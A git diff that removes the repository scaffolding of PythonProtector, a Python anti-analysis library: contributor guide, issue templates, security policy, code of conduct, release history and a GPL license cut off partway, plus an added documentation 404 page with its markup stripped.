diff --git a/.gitattributes b/.gitattributes deleted file mode 100644 index df2b71c..0000000 --- a/.gitattributes +++ /dev/null @@ -1,21 +0,0 @@ -# Source files -# ============ -*.pxd text diff=python -*.py text diff=python -*.py3 text diff=python -*.pyw text diff=python -*.pyx text diff=python -*.pyz text diff=python -*.pyi text diff=python - -# Binary files -# ============ -*.db binary -*.p binary -*.pkl binary -*.pickle binary -*.pyc binary export-ignore -*.pyo binary export-ignore -*.pyd binary - -*.ipynb text \ No newline at end of file diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS deleted file mode 100644 index 27a8495..0000000 --- a/.github/CODEOWNERS +++ /dev/null @@ -1,4 +0,0 @@ -* @xFGhoul - - -*.py @xFGhoul @6nz diff --git a/.github/CONTRIBUTING.md b/.github/CONTRIBUTING.md deleted file mode 100644 index 13e12ed..0000000 --- a/.github/CONTRIBUTING.md +++ /dev/null @@ -1,151 +0,0 @@ - -# Contributing to PythonProtector - -First off, thanks for taking the time to contribute! ❤️ - -All types of contributions are encouraged and valued. See the [Table of Contents](#table-of-contents) for different ways to help and details about how this project handles them. Please make sure to read the relevant section before making your contribution. It will make it a lot easier for us maintainers and smooth out the experience for all involved. The community looks forward to your contributions. 🎉 - -> And if you like the project, but just don't have time to contribute, that's fine. There are other easy ways to support the project and show your appreciation, which we would also be very happy about: -> - Star the project -> - Tweet about it -> - Refer this project in your project's readme -> - Mention the project at local meetups and tell your friends/colleagues - - -## Table of Contents - -- [I Have a Question](#i-have-a-question) -- [I Want To Contribute](#i-want-to-contribute) - - [Reporting Bugs](#reporting-bugs) - - [Suggesting Enhancements](#suggesting-enhancements) - - [Your First Code Contribution](#your-first-code-contribution) - - [Improving The Documentation](#improving-the-documentation) -- [Styleguides](#styleguides) - - [Commit Messages](#commit-messages) -- [Join The Project Team](#join-the-project-team) - - - -## I Have a Question - -> If you want to ask a question, we assume that you have read the available [Documentation](http://ghouldev.me/PythonProtector/). - -Before you ask a question, it is best to search for existing [Issues](https://github.com/xFGhoul/PythonProtector/issues) that might help you. In case you have found a suitable issue and still need clarification, you can write your question in this issue. It is also advisable to search the internet for answers first. - -If you then still feel the need to ask a question and need clarification, we recommend the following: - -- Open an [Issue](https://github.com/xFGhoul/PythonProtector/issues/new). -- Provide as much context as you can about what you're running into. -- Provide project and platform versions (nodejs, npm, etc), depending on what seems relevant. - -We will then take care of the issue as soon as possible. - - - -## I Want To Contribute - -> ### Legal Notice -> When contributing to this project, you must agree that you have authored 100% of the content, that you have the necessary rights to the content and that the content you contribute may be provided under the project license. - -### Reporting Bugs - - -#### Before Submitting a Bug Report - -A good bug report shouldn't leave others needing to chase you up for more information. Therefore, we ask you to investigate carefully, collect information and describe the issue in detail in your report. Please complete the following steps in advance to help us fix any potential bug as fast as possible. - -- Make sure that you are using the latest version. -- Determine if your bug is really a bug and not an error on your side e.g. using incompatible environment components/versions (Make sure that you have read the [documentation](http://ghouldev.me/PythonProtector/). If you are looking for support, you might want to check [this section](#i-have-a-question)). -- To see if other users have experienced (and potentially already solved) the same issue you are having, check if there is not already a bug report existing for your bug or error in the [bug tracker](https://github.com/xFGhoul/PythonProtector/issues?q=label%3Abug). -- Also make sure to search the internet (including Stack Overflow) to see if users outside of the GitHub community have discussed the issue. -- Collect information about the bug: -- Stack trace (Traceback) -- OS, Platform and Version (Windows, Linux, macOS, x86, ARM) -- Version of the interpreter, compiler, SDK, runtime environment, package manager, depending on what seems relevant. -- Possibly your input and the output -- Can you reliably reproduce the issue? And can you also reproduce it with older versions? - - -#### How Do I Submit a Good Bug Report? - -> You must never report security related issues, vulnerabilities or bugs including sensitive information to the issue tracker, or elsewhere in public. Instead sensitive bugs must be sent by email to <>. - - -We use GitHub issues to track bugs and errors. If you run into an issue with the project: - -- Open an [Issue](https://github.com/xFGhoul/PythonProtector/issues/new). (Since we can't be sure at this point whether it is a bug or not, we ask you not to talk about a bug yet and not to label the issue.) -- Explain the behavior you would expect and the actual behavior. -- Please provide as much context as possible and describe the *reproduction steps* that someone else can follow to recreate the issue on their own. This usually includes your code. For good bug reports you should isolate the problem and create a reduced test case. -- Provide the information you collected in the previous section. - -Once it's filed: - -- The project team will label the issue accordingly. -- A team member will try to reproduce the issue with your provided steps. If there are no reproduction steps or no obvious way to reproduce the issue, the team will ask you for those steps and mark the issue as `needs-repro`. Bugs with the `needs-repro` tag will not be addressed until they are reproduced. -- If the team is able to reproduce the issue, it will be marked `needs-fix`, as well as possibly other tags (such as `critical`), and the issue will be left to be [implemented by someone](#your-first-code-contribution). - - - - -### Suggesting Enhancements - -This section guides you through submitting an enhancement suggestion for PythonProtector, **including completely new features and minor improvements to existing functionality**. Following these guidelines will help maintainers and the community to understand your suggestion and find related suggestions. - - -#### Before Submitting an Enhancement - -- Make sure that you are using the latest version. -- Read the [documentation](http://ghouldev.me/PythonProtector/) carefully and find out if the functionality is already covered, maybe by an individual configuration. -- Perform a [search](https://github.com/xFGhoul/PythonProtector/issues) to see if the enhancement has already been suggested. If it has, add a comment to the existing issue instead of opening a new one. -- Find out whether your idea fits with the scope and aims of the project. It's up to you to make a strong case to convince the project's developers of the merits of this feature. Keep in mind that we want features that will be useful to the majority of our users and not just a small subset. If you're just targeting a minority of users, consider writing an add-on/plugin library. - - -#### How Do I Submit a Good Enhancement Suggestion? - -Enhancement suggestions are tracked as [GitHub issues](https://github.com/xFGhoul/PythonProtector/issues). - -- Use a **clear and descriptive title** for the issue to identify the suggestion. -- Provide a **step-by-step description of the suggested enhancement** in as many details as possible. -- **Describe the current behavior** and **explain which behavior you expected to see instead** and why. At this point you can also tell which alternatives do not work for you. -- You may want to **include screenshots and animated GIFs** which help you demonstrate the steps or point out the part which the suggestion is related to. You can use [this tool](https://www.cockos.com/licecap/) to record GIFs on macOS and Windows, and [this tool](https://github.com/colinkeenan/silentcast) or [this tool](https://github.com/GNOME/byzanz) on Linux. -- **Explain why this enhancement would be useful** to most PythonProtector users. You may also want to point out the other projects that solved it better and which could serve as inspiration. - - - -### Your First Code Contribution - - -### Improving The Documentation - - -## Styleguides -### Commit Messages - - -## Join The Project Team - - - -## Attribution -This guide is based on the **contributing-gen**. [Make your own](https://github.com/bttger/contributing-gen)! \ No newline at end of file diff --git a/.github/ISSUE_TEMPLATE/bug_report.yml b/.github/ISSUE_TEMPLATE/bug_report.yml deleted file mode 100644 index 624acd7..0000000 --- a/.github/ISSUE_TEMPLATE/bug_report.yml +++ /dev/null @@ -1,41 +0,0 @@ -name: 🐛 Bug Report -description: Create a report to help us improve Python Protector -title: 'Bug: ' -body: - - type: checkboxes - attributes: - label: Prerequisites - description: Please ensure you have completed all of the following. - options: - - label: I have read the [Contributing Guidelines](https://github.com/xFGhoul/PythonProtector/tree/dev/.github/CONTRIBUTING.md). - required: true - - label: I agree to follow the [Code of Conduct](https://github.com/xFGhoul/PythonProtector/blob/dev/CODE_OF_CONDUCT.md). - required: true - - label: I have searched for [existing issues](https://github.com/xFGhoul/PythonProtector/issues) that already report this problem, without success. - required: true - - type: textarea - attributes: - label: Current Behavior - description: A clear description of what the bug is and how it manifests. - validations: - required: true - - type: textarea - attributes: - label: Expected Behavior - description: A clear description of what you expected to happen. - validations: - required: true - - type: textarea - attributes: - label: Steps to Reproduce - description: Please explain the steps required to duplicate this issue. - validations: - required: true - - type: input - attributes: - label: Full Traceback - description: Please send the command that was used - - type: textarea - attributes: - label: Additional Information - description: List any other information that is relevant to your issue. Stack traces, related issues, suggestions on how to fix, Stack Overflow links, etc. diff --git a/.github/ISSUE_TEMPLATE/config.yml b/.github/ISSUE_TEMPLATE/config.yml deleted file mode 100644 index b7b0034..0000000 --- a/.github/ISSUE_TEMPLATE/config.yml +++ /dev/null @@ -1,12 +0,0 @@ -contact_links: - - name: 📚 Documentation - url: http://ghouldev.me/PythonProtector/ - about: Before Making An Issue, Make Sure To Check The Documentation - - - name: 📚 Developer Documentation - url: https://github.com/xFGhoul/Mai/blob/dev/.github/CONTRIBUTING.md - about: Make Sure To Check The Developer Documentation If This Issue Is Focused On Code - - - name: 🤔 Support Question - url: https://discord.gg/yMu9qjdrmp - about: Ask Questions At Our Discord If The Documentation Was Not Of Any Help diff --git a/.github/ISSUE_TEMPLATE/feature_request.yml b/.github/ISSUE_TEMPLATE/feature_request.yml deleted file mode 100644 index 619a049..0000000 --- a/.github/ISSUE_TEMPLATE/feature_request.yml +++ /dev/null @@ -1,43 +0,0 @@ -name: 💡 Feature Request -description: Suggest an idea for Python Protector -title: 'Feature: ' -body: - - type: checkboxes - attributes: - label: Prerequisites - description: Please ensure you have completed all of the following. - options: - - label: I have read the [Contributing Guidelines](https://github.com/xFGhoul/PythonProtector/tree/dev/.github/CONTRIBUTING.md). - required: true - - label: I agree to follow the [Code of Conduct](https://github.com/xFGhoul/Mai/blob/dev/CODE_OF_CONDUCT.md). - required: true - - label: I have searched for [existing issues](https://github.com/xFGhoul/Mai/issues) that already include this feature request, without success. - required: true - - type: textarea - attributes: - label: Describe the Feature Request - description: A clear and concise description of what the feature does. - validations: - required: true - - type: textarea - attributes: - label: Describe the Use Case - description: A clear and concise use case for what problem this feature would solve. - validations: - required: true - - type: textarea - attributes: - label: Describe Preferred Solution - description: A clear and concise description of what you how you want this feature to be added to Mai - - type: textarea - attributes: - label: Describe Alternatives - description: A clear and concise description of any alternative solutions or features you have considered. - - type: textarea - attributes: - label: Related Code - description: If you are able to illustrate the feature request with an example, please do so. - - type: textarea - attributes: - label: Additional Information - description: List any other information that is relevant to your issue. Stack traces, related issues, suggestions on how to implement, Stack Overflow links, forum links, etc. diff --git a/.github/SECURITY.md b/.github/SECURITY.md deleted file mode 100644 index a5ba52b..0000000 --- a/.github/SECURITY.md +++ /dev/null @@ -1,15 +0,0 @@ -# Security Policy - -## Reporting a Vulnerability - -If there are any vulnerabilities in **PythonProtector** project, don't hesitate to _report them_. - -1. Contact Any [Development Leads](https://github.com/xFGhoul/PythonProtector/blob/dev/AUTHORS.md) -2. Describe the vulnerability. - -- If you have a fix, explain or attach it. -- In the near time, expect a reply with the required steps. Also, there may be a demand for a pull request which include the fixes. - -> You should not disclose the vulnerability publicly if you haven't received an answer in some weeks. -> If the vulnerability is rejected, you may post it publicly within some hour of rejection, unless the rejection is withdrawn within that time period. -> After the vulnerability has been fixed, you may disclose the vulnerability details publicly over some days. diff --git a/.gitignore b/.gitignore deleted file mode 100644 index 163d586..0000000 --- a/.gitignore +++ /dev/null @@ -1,142 +0,0 @@ -# Byte-compiled / optimized / DLL files -__pycache__/ -*.py[cod] -*$py.class - -# C extensions -*.so - -# Distribution / packaging -.Python -build/ -develop-eggs/ -dist/ -downloads/ -eggs/ -.eggs/ -lib/ -lib64/ -parts/ -sdist/ -var/ -wheels/ -pip-wheel-metadata/ -share/python-wheels/ -*.egg-info/ -.installed.cfg -*.egg -MANIFEST - -# PyInstaller -# Usually these files are written by a python script from a template -# before PyInstaller builds the exe, so as to inject date/other infos into it. -*.manifest -*.spec - -# Installer logs -pip-log.txt -pip-delete-this-directory.txt - -# Unit test / coverage reports -htmlcov/ -.tox/ -.nox/ -.coverage -.coverage.* -.cache -nosetests.xml -coverage.xml -*.cover -*.py,cover -.hypothesis/ -.pytest_cache/ - -# Translations -*.mo -*.pot - -# Django stuff: -*.log -local_settings.py -db.sqlite3 -db.sqlite3-journal - -# Flask stuff: -instance/ -.webassets-cache - -# Scrapy stuff: -.scrapy - -# Sphinx documentation -docs/_build/ - -# PyBuilder -target/ - -# Jupyter Notebook -.ipynb_checkpoints - -# IPython -profile_default/ -ipython_config.py - -# pyenv -.python-version - -# pipenv -# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. -# However, in case of collaboration, if having platform-specific dependencies or dependencies -# having no cross-platform support, pipenv may install dependencies that don't work, or not -# install all needed dependencies. -#Pipfile.lock - -# PEP 582; used by e.g. github.com/David-OConnor/pyflow -__pypackages__/ - -# Celery stuff -celerybeat-schedule -celerybeat.pid - -# SageMath parsed files -*.sage.py - -# Environments -.env -.venv -env/ -venv/ -ENV/ -env.bak/ -venv.bak/ - -# Spyder project settings -.spyderproject -.spyproject - -# Rope project settings -.ropeproject - -# mkdocs documentation -/site - -# mypy -.mypy_cache/ -.dmypy.json -dmypy.json - -# Pyre type checker -.pyre/ - -# Ruff linter -.ruff_cache/ - -# Internal Testing -_testing.py -_test_rpc.py -_test_internals.py -logs/ -ext/ - -# Poetry -poetry.lock \ No newline at end of file diff --git a/pyprotector/py.typed b/.nojekyll similarity index 100% rename from pyprotector/py.typed rename to .nojekyll diff --git a/404.html b/404.html new file mode 100755 index 0000000..8400774 --- /dev/null +++ b/404.html @@ -0,0 +1,887 @@ + + + + + + + + + + + + + + + + + + + + PythonProtector + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
+ +
+ + + + +
+ + +
+ +
+ + + + + + +
+
+ + + +
+
+
+ + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ +

404 - Not found

+ +
+
+ + + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + \ No newline at end of file diff --git a/AUTHORS.md b/AUTHORS.md deleted file mode 100644 index 9cd6b05..0000000 --- a/AUTHORS.md +++ /dev/null @@ -1,3 +0,0 @@ -# Ghoul - -Discord - `heartghoul` diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md deleted file mode 100644 index cac3055..0000000 --- a/CODE_OF_CONDUCT.md +++ /dev/null @@ -1,46 +0,0 @@ -# Contributor Covenant Code of Conduct - -## Our Pledge - -In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to make participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. - -## Our Standards - -Examples of behavior that contributes to creating a positive environment include: - -* Using welcoming and inclusive language -* Being respectful of differing viewpoints and experiences -* Gracefully accepting constructive criticism -* Focusing on what is best for the community -* Showing empathy towards other community members - -Examples of unacceptable behavior by participants include: - -* The use of sexualized language or imagery and unwelcome sexual attention or advances -* Trolling, insulting/derogatory comments, and personal or political attacks -* Public or private harassment -* Publishing others' private information, such as a physical or electronic address, without explicit permission -* Other conduct which could reasonably be considered inappropriate in a professional setting - -## Our Responsibilities - -Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. - -Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. - -## Scope - -This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. - -## Enforcement - -Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the Project Leader on Discord Via DMing `ghoul#0002`. All complaints will be reviewed and investigated and will result in a response that is deemed necessary and appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. - -Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. - -## Attribution - -This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [https://contributor-covenant.org/version/1/4][version] - -[homepage]: https://contributor-covenant.org -[version]: https://contributor-covenant.org/version/1/4/ diff --git a/HISTORY.md b/HISTORY.md deleted file mode 100644 index 3440708..0000000 --- a/HISTORY.md +++ /dev/null @@ -1,58 +0,0 @@ -## 1.0 - 2022-09-18 - -Release Initial Project - -## 1.1 - 2022-12-28 - -So It's been kind of a while since we released a new update, I had some pretty big stuff going on irl, no time to code, just recently came back and decided to make some updates. - -- Completely Configurable Module System - Users now have the choice of deciding what modules they use, currently there are only the main 4 me and marci provide, but we are open to pull requests and we will be adding more in the future, do check the repository or the example for more information. - -- `should_exit` argument - gives users the ability to decide if the program should exit if one of the detections were raised. - -- Overall Improvement/Refactoring - This update didn't bring everything me and marci are planning for, but this is just a couple, in the update I made to sure to cover some edge cases so you guys don't get confused - -## 1.5 - 2023-01-05 - -I know this is a pretty quick release, and the jump from `1.1` to `1.5` but I felt it was only necessary with the amount of changes made. - -### Major Changes: - -- **Encrypted Logging** - Instead of logs that anybody can read, logs are now encrypted at runtime and are only decrypted if malicious activity is detected - -- **AntiAnalysis** - Thanks to the work of Marci, a new module has been made!, this one comes with some pretty neat features, be sure to check it out - -- **New On Detection System** / `on_detect` - Similarly to the new configurable module system, I've gone ahead and done the same with what happens when malicious activity is detected, check out the examples for how it's used - -### Minor Changes - -- **Updated Minimum Python Requirement To 3.11** - -- **Refactoring and Misc Improvements** - -## 1.6 - 2023-01-07 - -Minor bump for `setup.py` bug that didn't allow importing. - -## 1.7 - 2023-01-25 - -### Major Changes - -- **Live Documentation** - Docs are now public at http://ghouldev.me/PythonProtector - -- **Event System** - Event System, see docs for more info - -### Minor Changes - -- **Miscellaneous Changes/Refactoring** - For A Better User Experience - -## 1.8 0 2023-02-11 - -### Major Changes - -- **Anti Dump** - New Anti Dump Module - -### Minor Changes - -- **Miscellaneous Changes/Refactoring** - For A Better User Experience -- **Bug Fixes** - Many Bug Fixes For Edge Cases diff --git a/LICENSE b/LICENSE deleted file mode 100644 index f288702..0000000 --- a/LICENSE +++ /dev/null @@ -1,674 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the 